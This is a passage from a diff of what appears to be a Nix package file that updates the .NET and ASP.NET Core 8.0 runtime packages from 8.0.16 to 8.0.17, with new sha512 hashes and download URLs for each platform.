-        hash = "sha512-ZpUWmllmq2HR7eY21ettHwFv3BapesdBsI76kjtGriNOivMQwWd1/21ss2PeKFd//HNZ0SjMAX/AUPoc6qUl0A==";
+        version = "8.0.17";
+        hash = "sha512-LnqYt32luIPGBIHWqkQqZII4JyVH2eV1cciCIsz/o0GSomy+IGPw8QirHSFchQhm9qIgS7swoXHEnBoVcXDa7g==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "8.0.16";
-        hash = "sha512-TabUjPzfTmIpttDvd1ibCakKZA4iGxPYayFnjecfbenQlL/5qRFLW2HZ7aRGdMtPwKfp1MRmcTlwN5nHiPEavg==";
+        version = "8.0.17";
+        hash = "sha512-N5OgMVCqVq8v2L2LFcriguocIU98C72giD0eKgFirCst6beO71PU8sJyYNjRknl+L4A+uhDUsZfpLONDMz9vVw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "8.0.16";
-        hash = "sha512-C38paqrnwY57InUeWK+PhcOGyAxHnHpltyQWZ+urFGhkBN9PjcLh94xL5Th6BROgLeaeAPIZkDD1nTfZtPFZSA==";
+        version = "8.0.17";
+        hash = "sha512-bosx45pWfzEme1le8Bm75n6gAMSrlCe9+NmRoo5f/ZrpsPZq7zRaLVRlXB5XKi36Suq7BQjsJ67ubGNqF+Iz+g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "8.0.16";
-        hash = "sha512-ZaTZo7CUGUmW1uXppfGAg/zFuoSyyDEXP+CRKaWcpNdE0DDoZtQBuonrjHrmKJ4g2sdgpOErbD/qDa+pVsnSsg==";
+        version = "8.0.17";
+        hash = "sha512-5EJos1FnyGO5/7tjtF4MdniGBr19ZehLUwhblPnGTx3kyGPf+imGpA34HmKB0Lpf53nYXDBOiWrqUHl/dURarw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-jR7uaCNjagiMvrU0dSL88yogPSjbm+JUbtaQ7jx7c7xLCDvW/3rdZpx0lIAL6yxSRCPkthOSf8Rt2unoam2A0Q==";
+        version = "8.0.17";
+        hash = "sha512-FpLu/8+PcuX8fNcnCGDED2WWbrlNvV9dpiZ49e9rAcDBlYg9aoNBEGGP9HJ45uATmJW/V55BtNxGJKXucceAMQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-Pan9aX4Hd37diyf9V2APLS5UpuPWnSxVjjlnpPUcyw0ztWCpVivQwSme8aEzn1SAnWnQ/88le9PtAEgJvG4juw==";
+        version = "8.0.17";
+        hash = "sha512-uh9Xyw8G1nbUdmTUOeiDyn7LXBrEO3slJJwkRC19AqirVspWFWuDliiIj/GAStnF5EDYepgfgC2WeTr82hnQMg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-BtpDN3TeBLsq96C4magsVnNIb8mPXW4rYk2wLK372tAD7Hiycm9eBYVdaLoYhEW1Ct4erWPFo284Hpl1X0Gq3w==";
+        version = "8.0.17";
+        hash = "sha512-JXyOaJZcJQvu+UvZrLDeXY+QgpgMSqBGvL7oKDfvJazL9wKIJDA6A68v8RfSlLTyiO196XrV3XWNTbCC5CWtPQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-k7+KT81WP9yepIARsWCNRyK1Z8f0l5hRfAUbtmKIZZF8Zb9hZBeQ/wfc8hDvG+Av9abOnvVDOm8oWod14MpUUQ==";
+        version = "8.0.17";
+        hash = "sha512-Fkm//A57PJApgtg7jUySUGtz1arRGwXipRpl4lczOuol/hmKb6FL9eN6fYNYsU/LiA+xP0d72prlTyYEifRPHw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-musl-x64";
-        version = "8.0.16";
-        hash = "sha512-juqAOH138FUGV8IBgQXDp0pg6GS3H6t5zAaaovoKAhZpvAlAKdLitPKCkWfaiVzqRCMljRMaNTLq53U+CtMBbQ==";
+        version = "8.0.17";
+        hash = "sha512-AqkVaugZa6Tt4z+yeGqqlSlhDw4Q3gtPdXNFu05fLjAQi4zAvCccOpjMmwca41Zteiu9qGkfQwFDyO1LQXThMw==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "8.0.16";
-        hash = "sha512-wuAC93N+hDc0H1wD1IHdkSMokwuOxTGwfVNovQkfGLcvWB+hWSqYwn3HlAooVGi+juYMqgFgCwSUqj9UXzPPMA==";
+        version = "8.0.17";
+        hash = "sha512-ViTDLKPx1YPdbj1xTx6LSXLJ4y+LQKfbrqRNw4PN96i7dcRviRt60R7BKfV+sdsDOaQtYDhUr8/1CGPaa9SnDA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "8.0.16";
-        hash = "sha512-JTtZzjHmXFqUYP/Z9FcfUuh7ZVw0Tq9sW3amlYNQWKggIGaaCQsicKN5VqTo1rbWrbGibu4DbcSUlkvQydpeOw==";
+        version = "8.0.17";
+        hash = "sha512-tGoCDChhmw1PPPpWNYfo7tjJBy4NIRkgkCuSXPBUiLNcKmkeMAhA2N2MUvVKxhoayCL1K49clw2CDFG1YSDC4A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "8.0.16";
-        hash = "sha512-b0Glt0ehO8tmRx48RPp7fQOw/05LHN0u/rJxbnFcaj++6huetGxyFy3RDm/xnr/PB5Td5qENk0ZqG360ZLFX3w==";
+        version = "8.0.17";
+        hash = "sha512-jSQpm6cwP9IbEc9/v2esVv2NJ7O21CklPxOjHSWvM6VcwH3/vAEy21wX+JOM3G4euTWCKxMxOTAU5bXL9fpV+g==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-BVWMbeZ0tS2t1ze2y5f7vD64uJwWwc92yu647Tw3LVxMDp4Dz4bzduDNcH4+Rxs4hGRHt2cwRRfM2NGxnydX1g==";
+        version = "8.0.17";
+        hash = "sha512-ejOqr8hAO2d1Sxxkn9d+xiVLCeQ4fkBOyTEsgliMkFnrJaxFxdV+Q1I7RtoYWJH/DoseqVW5vn5CAgGnY7yPiQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-quU62eUZW2ls3EouhRllGQOhIL1DkjgYT8R8B6Yv6gXnQzD9Kaixq9FmCgSDoG8GlZUrh9jro8no446j99pMqw==";
+        version = "8.0.17";
+        hash = "sha512-twUxbIlZzPNoJx/nxQlx98TiW1JV6NnpHqvgQhGE3VloeEE5AiPUg+UVpKa42id/K3GEzOpQ8CGAnB+phyOhwg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-puv/ricB6SdP3NKk61bwWXcpP6Q58snrpFZCIOxj6mAJwl8RsdR+0GLPyR0qTQKhnuE9ZY83bGaQEPn28CHcag==";
+        version = "8.0.17";
+        hash = "sha512-o/P+ZRj6LjjGJdaazlvz/ysRQumAUbrfOmXLQz17RExXc6Ikk7yQ3l7EJAuWO7U9LwlU5ubXs6uVqtKyv7vnHg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-pbULyCi7O6A1h1PIkaTq1q5E+JKzr4FkAO07t5C282BeLd4Zh91Dgi48iGdun0lYFU9LEMQ9oLl4EHr0xAVCCw==";
+        version = "8.0.17";
+        hash = "sha512-sNM9LGQom9BS5lEV9VQt3dTweI6q+2fgdfnjAaqmMCM2un4aKT8vNK3oegOEPhigBQp5GB7Z7+CgVBhYiLiEhQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.osx-arm64";
-        version = "8.0.16";
-        hash = "sha512-m81w4eMl4VxnH+2goP0FI13Wrh9OoVGV4kiOsmdR9/KMik9WKsb4eeqj7OFXR2Um8QIlUA8z9pAqv8VkiphnSg==";
+        version = "8.0.17";
+        hash = "sha512-NvQn4WyGdNXAVaUYu30XY/XQqTWe65HGMDKNAxVsYbNUiNecXjE3ZhkiRyLa9HU4l+6n3ouNNzYHg1Z9MPukpQ==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "8.0.16";
-        hash = "sha512-n4PzbC+wqBZnh/v3Qlr4tjuJDnEL1uTJHwyDmBEgoBxPlImBYaZXhjjPN0h3e7nlPqfE/fP0axGGNrqm2jIrVw==";
+        version = "8.0.17";
+        hash = "sha512-lsYscCD0qR6XsXqJrM4evxEB4qNSu5QEvH1mb6JK8iQN05kW05CYP9IfBBVzQR3+iik45gnwjUFrokNnl9LMig==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "8.0.16";
-        hash = "sha512-CLwd+6uc3SFGdlZg6hWoIsv/pyCJej3k22vYbmz1kphIpvJjkcQQbHKrEed+mR3ruTtGHAtEc3ALvTfFRNGwOQ==";
+        version = "8.0.17";
+        hash = "sha512-A3RrznTiIIpaE04b1cNY6Bx3pEmAqa9ig9xwoUuAlH/brYtOuvo3JoehwVgpfZm7dzMblRPuvu1J9SVagyNEdw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "8.0.16";
-        hash = "sha512-iK+92YNFakNasLgMxjPA9B34/188ur/Cr1qNw9KStNqQ/t7h0af+LpCh2CY9Tb9rtiQ4JDa4lhAHnRdF6mgF4Q==";
+        version = "8.0.17";
+        hash = "sha512-pvPS0TivFj3n6V+v0ivlhOc1HvkZnQBnnH6y9TZCw/nkkKjuTJpjS+x5xWHy4yLgdB64hfCpfc6g5578ib3OGg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-n7oHeX8D3Qmk/YQPZ6isIXLM0sCKNLRczAjoP8hfmmnE/bYk1uhFbxhPROelIN/tfC1G0yGmiNLXYdzL17q9jQ==";
+        version = "8.0.17";
+        hash = "sha512-X0Mt5TbPJlG6LzwHP/98DB+TqCwF5toyO40QLZiaWBWH8gdkXxZsnqSwHBixe7jEDB9knpUQs3nWvG1wf9YOCA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-F8lb0QVbYAcWrxCxGAkYqS8F3QWqrhX6AmuqvYG4hBki3JisiuCRhCqJeiVgbPXk8fl22hf8i9sDQaJSrBXDbg==";
+        version = "8.0.17";
+        hash = "sha512-LtMIjhBaZld9EX8YChaTicl79vEo9ci+H+16xqWm6ksvYyx0vbameWRWXQ3i4KgUm/klwYkzGeKVzzll53itgw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-9o5ign74HxWNBsT3Cdvia+VVBdATPhe006LBCh3xeULtcdYIFpKdvHO5sGsxHPp5WdKG/kuH1LunOkbO4mmIfg==";
+        version = "8.0.17";
+        hash = "sha512-qxknZ2pQrvLXxASaCeyy5Ox9rb27jzwh4DAu+I4pQRl7qSfBVmqLtoAtZ6tSBj6crAt8/5q7mW16Av2RejDk3g==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-q22oMVxWzD5aLlZDPAAsuuoOFrCtHpKGsHXxsVontq10lmFiRhkM01V46vhJE99gzUjEK3rBXEb3LpH1KEnOTg==";
+        version = "8.0.17";
+        hash = "sha512-qWhils4j4HijPnFQHpmeOUudYMbX7BrYZedABWp3Ddsf5xoTLPSzUTssPFgrX5zhuI0eC+ACXQDCc3RRe16PZQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.osx-x64";
-        version = "8.0.16";
-        hash = "sha512-o6TXTHX9Uc8BdIdzsNR5cQVK6al/Q0lHlKRROtZCY2nP7vRpC+D6+/lUBh/Kvny+dwQQ662wCJrs2Ya1XoWF1g==";
+        version = "8.0.17";
+        hash = "sha512-b2jQNPpO8zaXgyvO6uG6ABXWO1qRYJvSiZWMXlxzAX2FCOR2AqfNiMbuJOscaqRyo1A5EZl/mKhNWbjvZ+Ie8g==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "8.0.16";
-        hash = "sha512-Kh9Z+U062mBYGkXrZrG4/rIp8jfglP2GfPr+a2SgDuF7G96y/wrFcXMhtpvkdj/6PQxX8MrrPHMVZ4wml1ch8w==";
+        version = "8.0.17";
+        hash = "sha512-Gn4GGWnOSo9W/5GfgqwWEyZ1AwV6JVc4DBcq+IbPTZviND+0j5ZUJsF2xzPcgEYre8XYFR+tf4KqV2S+t9DRCw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "8.0.16";
-        hash = "sha512-fXEfLzBw6xHfliy1XoqxX1N+OUBihYilCQeEoR1yRCNSeNXnSHdPT6pX3reS6qI7F49pN35s68sPUfCWLFpNNw==";
+        version = "8.0.17";
+        hash = "sha512-9ef3DABF5Em5tOne761hyzBpUrOnWuucfONtUsxUWq2pZiGpk9AoaAOJxf766qdQWL1SQ0sJYRGhpJ7YfKX8Og==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "8.0.16";
-        hash = "sha512-PNnCUYpG0auWMefWbyH/TYJZrKNJziqNbfIQ6IfJBL+2hYfme3xCEn116fsG0nht61gGvlSF0ZL2MX+yTCyHLQ==";
+        version = "8.0.17";
+        hash = "sha512-E+7CArIcwuTmkSfCdZneueDRZy3pT77DDZXvwuIDTyojOrdGVlj4hzpqSzmqmTnr5Cg8uT34XxnYOH1cAQiljg==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-ZWcEzJrU2fGE5nqi37Ms2Y6QA7+e33kl6BFmf+iApJGFDQOiE9u0JmmyGXQ4r8yfIjfHiQIvPYNFvCMs5n2efg==";
+        version = "8.0.17";
+        hash = "sha512-X3/73Flriad7tsa6o4GXXG0JMz5M1gaJQ5wXatZk90P2Eg3uDLOnqb6upr0x2495gDI4aLPPmDRvaArZoA3w+w==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-7WwAk1dSgfWwir2Mdl5S8sAl5s9fDyRq5o9QUdqa71OxDdl6UtUkOzF5R8aHo1BXs0qM2SXJlf9Fgp9u3Bk9dQ==";
+        version = "8.0.17";
+        hash = "sha512-1/aUPzhPQ/bKVm5NoP4dNfc9B/C3eqRu+gv6bLroPxiS1JjHKL/iG4aPeFP/Gr0zt546bKd56Ac9t0S+ZpgjeA==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-+0Dm9S2hIlqePk2mkdlOaAlrG0UkCwJotbUv9535BiC/qbPO6SY0izAHX1dZL6LPoFKBewZ1aoQMtrsF9xAzQA==";
+        version = "8.0.17";
+        hash = "sha512-u+V7Vazc9T1yrKkAtGgCaVrm7777F//PpYlXlKi8LCEMmzsjgTqXDv+96blOjqNfFFG5nDH7Wrfy/EuNxbggEQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-BauQzQcup2e1iRILzm1XU2zqgFeQ9A7mKAlFY9XQVxtEWlRhQ1047lkvf1E1qmPg7S82HfigvC+tFY2+BJi/Ag==";
+        version = "8.0.17";
+        hash = "sha512-it7TtIOtYcV5XwMQKpIsD1mKrqUimH4VK7uJct4sCZGjxfgrhf07l/yI91A11WVJubQHK5cq7KeCirqGoEtAsg==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "8.0.16";
-        hash = "sha512-OIZrbirMArYlnOV8X8AdhVaCvhumkaiHMTCivh+J4bY/mUXZ1GZw41wWpw1Rhj1AZWl2DSa1jyGphtCSgwycRQ==";
+        version = "8.0.17";
+        hash = "sha512-hCDJrREXgVISf2dXVj9+0NGUYr/Hk6HH0pE75ubOaQO42n7gH1EyuhF7fgMKVCjhnYblRML6WKuVDIbkJoUbtg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "8.0.16";
-        hash = "sha512-ig9SH+K2HVzuER+P6jexExvt1wOAR0tmZQwD5IEs2RO0s3BVOPwxJc5QjqixPP7oZjvAMK3Lm/Vy3QlVpnVpGw==";
+        version = "8.0.17";
+        hash = "sha512-FqJc/4qewgmg/1yamy4kyTvTntC1e+qN92mN1co8BT163ZkWV9RtGgvgb/yD+0th3/nOEb+xcu7EVNNxzTJZLA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "8.0.16";
-        hash = "sha512-1zB+91bQGwvUb+hFzPAdVh9J2a6sqM+cljDeh7Yw1nG2AoNt4UZr9AQ1WaCd7z7sE628J49JH8xEPrJkig2qzQ==";
+        version = "8.0.17";
+        hash = "sha512-0j8M6HzQLzZPvWl0TM0VlsWVtMGrKNrLPgmOcu8vXz4QoMq4A2y2md3cmdpX5PatjcEwKRib3pg0iGVyrefDgw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-e9XIuQAjb7cz1WCdBVH+/CP8ndn4SnsXGc8bLlEMUCL3bAUplL2aG56gIeGRwYJP+AcfAEvFkHNnzEC7JtOrQA==";
+        version = "8.0.17";
+        hash = "sha512-yQVr2/oC7L2zGbX4zG7z0cclJb1YALFciH3U8zc/eS0Ta4CmAXREmeTT2JaqY7U9hAEz8f8TzzX+JtB6W7PADw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-+8EYnxw6v1x8sHtsELUqUda3dcomNY5X9fQc5VDew+9bh84lbTeexQEWUBAjkmrz3JLDkh1g0hLS42SS/P/wrg==";
+        version = "8.0.17";
+        hash = "sha512-vVJFuE0gTSWBpZr3Qx6EitWtvIXW5BMyorvOSmOV14laSaGuhrddbz1OtbQ2qTOw2++z2AoIIRzKNiyDZ54jLA==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-Hd4LNJLmrzLkhoBTjAI2kGQ+/1sXZLamflSEAVh9GzOkoYMoKqfCxAZNYUJwPgIzXm1iUnC+yfyP+nJJRrUd5g==";
+        version = "8.0.17";
+        hash = "sha512-piZCbDE18Ca9OjU365hOClMWArbcXmj5Qk7oXE/4pXY2Mrdoo9R6IKQo9QT5rZ7qOO25W2X49fC2NCpt9WR1Cg==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-4IAmnrKN8GRF3VrMuPkIMJsG9qvUcZFqrRFDjpMFft0n+A0eq5Szyx+B9lG0EYWE0UZuJQOsNyqs3D5dVFgUvw==";
+        version = "8.0.17";
+        hash = "sha512-e77ZoQafeMCWXiQ4pqeWAS969lzHjTO/Nl0ISpmItUBXdSkrOaThpWew4hp2AuS98U3wv7yAb2snPOOBkRRuwQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.win-x64";
-        version = "8.0.16";
-        hash = "sha512-rCxgwEzg33svrD6JvyIqiiYGIo3+vpwdAupgkdOrBVZ6xJ7D3NeqcStXWVs97n60+fvUC7bb4Bwl4dJ/KQYb1w==";
+        version = "8.0.17";
+        hash = "sha512-gw2FwvqE1xSNnFdCQ1PE1AZjdjmwi8Qo3trC+xfnfHy89/ljYXbkoyeIQR7irDllbJwlmI4gAKbwHFXYLO7I9Q==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "8.0.16";
-        hash = "sha512-Owmg0DKS/rSWDUwNt7+MUtagUPdJwipxfPtGKzrkzw/xvxsmw7ACqmt7ONqAXCz3XP5MQBRo/CLhw3u9eVAh+Q==";
+        version = "8.0.17";
+        hash = "sha512-4+mkaFTIo0hySyHps1L8jaeHS7otI51G3J2Jwy9hYY2tGlYCRmYJm75KjMCgFjaijuAuv90xRME5bxSw3JIzRQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "8.0.16";
-        hash = "sha512-YcXpTXwEQbqvQFBWv8VC6rKvilmelGBphR0KUNzanN64uJL/uC975jCytnFlkqHGguor8OCzVkSDG7TIOfldXw==";
+        version = "8.0.17";
+        hash = "sha512-V5rRhz0of2jLYzhsNtABdw1ZhRjN9EcDeFzX4baN9eWrgR6IIt+pq5SCpPMm+qQJLH1IZDoS6ZwmcBVTs3aGWw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "8.0.16";
-        hash = "sha512-ohiHhvm9mZNZfSIOcoD8rkaabXJ9LqDB269y5pfCpM0kRohj6WQPS6cpPn181jxMLOlplYlE2+piJ8quAZfUAg==";
+        version = "8.0.17";
+        hash = "sha512-DVkgTu0W/491HH++XjvPJh+tbGjHS/NAqEyyFNZtcepvskdQG3tiazPvBrKAhe5HfO6xCY65TykNy4znepkXyA==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-crVLHltFGP19DUYri0zM1MN4x6PluOLaoN3Jbc+DTtIQ11GBtBVPUP9p02Km2m+iismSZ4W2bZQZ+WJQC2wbKA==";
+        version = "8.0.17";
+        hash = "sha512-IN34IGuBDaTS0V10Ny52Fw+Fit4+onsnfceySIYoNH5p60jEMGbyXXMIQrhqvw4eIlaIKOTNwSo7cmvAcz7N9Q==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-Keme6iMgYtf+4Z42/waSQw3tQZ6S4fzvT9A3DwZXuTWhThx7+L9HRLZ5jrn5VhWVralHTFvriS5PtV3aJXJWtw==";
+        version = "8.0.17";
+        hash = "sha512-izNgoKUSHtsl4N2J1L0WjaclTj1myk43zFIKie+y/+0uYDJ2QQL+pL9c1pOpHs/FKXDySLt8b3jtj1mOgcHEvA==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-TAG7BJ/xiqqUWJ9C7Why1eMi3ctsGJYgfmMgyTc7pk2zw6ZphR/vddldzYAjLX5Tzy9wHjVtRThBTr0yw7Pn7g==";
+        version = "8.0.17";
+        hash = "sha512-0FgjD+98nDYlSqXqP1Emka7T7LfpvSrYz1ag/fBBpVqZmmekpV1BM1rXQKDB6ruSkmmkMn41UD4MrvXykzYmZA==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-azCJIT0ar8N7F8QWEVWgbgS/ZwJ4BaCClcALWC3MNFdcA4cpGiWunVYROhuCe144P4NEKqQo7kmesHY7ml1rjQ==";
+        version = "8.0.17";
+        hash = "sha512-gCqz7CcfeAP87TsYVTc58vmINB8CY4KSG/pLiWycqrIZHmsdgw6olcCe/xbcm2N1mSMaD9pfMMkAI9nHDn36RQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.win-x86";
-        version = "8.0.16";
-        hash = "sha512-8OnxZ9IQIwUt3uaYCMHQmyrwAi3opxGriQ/98DW5cJJbU6asG8wdtGwGGRtcN2rx7aDplXhkdctSVKUVHSCvtg==";
+        version = "8.0.17";
+        hash = "sha512-YEx7Me3MPRkXTNcIJ6ROh6lxN0f9V3zc21Gna0UzlImMYtL74qdCSnpV3ztLGuDMKJZYYQmCbpVb5kmxxSMIGw==";
       })
     ];
   };
 
 in
 rec {
-  release_8_0 = "8.0.16";
+  release_8_0 = "8.0.17";
 
   aspnetcore_8_0 = buildAspNetCore {
-    version = "8.0.16";
+    version = "8.0.17";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-linux-arm.tar.gz";
-        hash = "sha512-HfSe3Kpesa+ubpuTWgQYvEqT4Cu96DQybBoGYJXPKOdgfV0cqK93canS6BYx5Jkxp7+ZhJyJEHkd7utqmQJ1xw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-arm.tar.gz";
+        hash = "sha512-EwhWW7qG+JHlwU/iKVzJ57jgxygwyPqy1qDVkd6WZ9jEV4RaUPZvBdMhik0rHdQ7CK44ENhnLFpaN4n0bssY1Q==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-linux-arm64.tar.gz";
-        hash = "sha512-oRXg5iU86n6aSB7YL1f8lkE6pQznQHkyEoy6FTvfSuwb2M25wE0pD/APhURCn+rIa6bo0rDxZ0wlW9Y2wsfm3g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-arm64.tar.gz";
+        hash = "sha512-TxpEHkALYPgUoWHScYwlmbTUkv/+XfWl2KSUzsVTrTV0wJiOncSav4ySi56Xg6hvVQbLy98S0k5WIJCWms7TxQ==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-linux-x64.tar.gz";
-        hash = "sha512-AlbKxBUazW/8grC3tkIfMEgXtv3C2csjIBjPmT5A2msijUFTl90bGzSFnP/h2Px717tHDfgRKDdOXJRKFMWDYA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-x64.tar.gz";
+        hash = "sha512-spLepS9wA1u3zMgsHtkI+whHU+sI9mLHuy6SBuIvOWqmEdtlc+gn1cXP8hWQgQtm6uDq2bU0vD+PxpX2X0fyjw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-linux-musl-arm.tar.gz";
-        hash = "sha512-TVMCx2nSQmKtt8HhqSDAWNmLnmdC3t/rKiauHoSkctYs4l0TfoXj6hctZ3e5G/9n/ooGMl6xYrDKs3CQ9eik/A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-musl-arm.tar.gz";
+        hash = "sha512-DEsWquOo/z751KXI3qM7mw/rS2x2dFhB7Npyhj7BZvGm1VnhArdELf/B/yLIpVzn7jrXsV8MdWJRVruTGP6UWQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-linux-musl-arm64.tar.gz";
-        hash = "sha512-IiIKQlFGuspdr7QZNHe/DE/sO57Zyps0Bzn1yngMQE++yByX/qfPMeZm5C0pnQFzP/OeZBkytkLkvCEfVdqGQg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-musl-arm64.tar.gz";
+        hash = "sha512-6eyDEAZZUCxhFJn5JL/EdMLmSRtRjtaXOZGcCXp5m+57Sk3SPtsfDnho+86RmOSx0WVF7FFEpVuYIMFmWw3Phw==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-linux-musl-x64.tar.gz";
-        hash = "sha512-L4Vp4TNb0lock75SNk3ROGxg1wxfkFyoMAkxJd4gv9mb4ICM+Y9qr9agvwhnli10NqVOp7jrQqb7Me61sI45og==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-musl-x64.tar.gz";
+        hash = "sha512-o1QPicloU1OO4RQUWsmZHyIr6JFbgDlBkYFP2qvvOrwjXWBXmfo3WWLAkJrwOz0L8ax2A0LFZhQNkU9/cGaSvg==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-osx-arm64.tar.gz";
